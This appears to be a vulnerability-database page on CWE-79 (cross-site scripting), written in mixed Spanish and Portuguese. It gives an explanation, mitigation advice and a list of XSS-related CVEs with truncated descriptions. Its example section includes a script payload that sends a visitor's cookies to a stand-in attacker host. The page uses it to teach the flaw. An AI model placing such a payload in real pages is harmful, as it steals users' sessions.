Fallos del tipo CWE-79

29.486 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-45889MEDIUMA Universal Cross Site Scripting (UXSS) vulnerability in ClassLink OneClick Extension through 10.8 allows remote attackers to inject JavaScrEPSS 0.4%CVE-2024-2423MEDIUMUsersWP <= 1.2.6 - Authenticated(Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2023-33937MEDIUMStored cross-site scripting (XSS) vulnerability in Form widget configuration in Liferay Portal 7.1.0 through 7.3.0, and Liferay DXP 7.1 befoEPSS 0.4%CVE-2016-15052MEDIUMNagios XI < 5.2.4 XSS via Menu SystemEPSS 0.4%CVE-2023-20204MEDIUMA vulnerability in the web-based management interface of Cisco BroadWorks CommPilot Application Software could allow an authenticated, remotEPSS 0.4%CVE-2024-3595MEDIUMPure Chat – Live Chat Plugin & More! <= 2.22 - Authenticated (Subscriber+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2016-15053MEDIUMNagios XI < 5.2.4 XSS via “My Reports” ListingEPSS 0.4%CVE-2023-33943MEDIUMCross-site scripting (XSS) vulnerability in the Account module in Liferay Portal 7.4.3.21 through 7.4.3.62, and Liferay DXP 7.4 update 21 thEPSS 0.4%CVE-2024-4630MEDIUMStarter Templates — Elementor, WordPress & Beaver Builder Templates <= 4.2.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2022-45816MEDIUMWordPress GD bbPress Attachments Plugin <= 4.3.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-6561MEDIUMFeatured Image from URL (FIFU) <= 4.5.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via featured image alt textEPSS 0.4%CVE-2023-5639MEDIUMTeam Showcase <= 2.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2023-4315MEDIUMWoo Custom Emails <= 2.2 - Reflected Cross-Site Scripting via wcemails_editEPSS 0.4%CVE-2021-47695MEDIUMNagios XI < 5.8.0 XSS via My Tools PageEPSS 0.4%CVE-2026-69402HIGHMicrosoft Office SharePoint Spoofing VulnerabilityEPSS 0.4%CVE-2025-2944MEDIUMJeg Elementor Kit <= 2.6.12 - Authenticated (Contributor+) Stored Cross-Site Scripting via Video Button and Countdown WidgetsEPSS 0.4%CVE-2023-6571MEDIUMCross-site Scripting (XSS) - Reflected in kubeflow/kubeflowEPSS 0.4%CVE-2023-20203—Multiple vulnerabilities in the web-based management interface of Cisco Prime Infrastructure and Cisco Evolved Programmable Network Manager EPSS 0.4%CVE-2023-42479MEDIUMCross-Site Scripting (XSS) vulnerability in SAP Biller DirectEPSS 0.4%CVE-2024-45592HIGHauditor-bundle vulnerable to Cross-site Scripting because name of entity does not get escapedEPSS 0.4%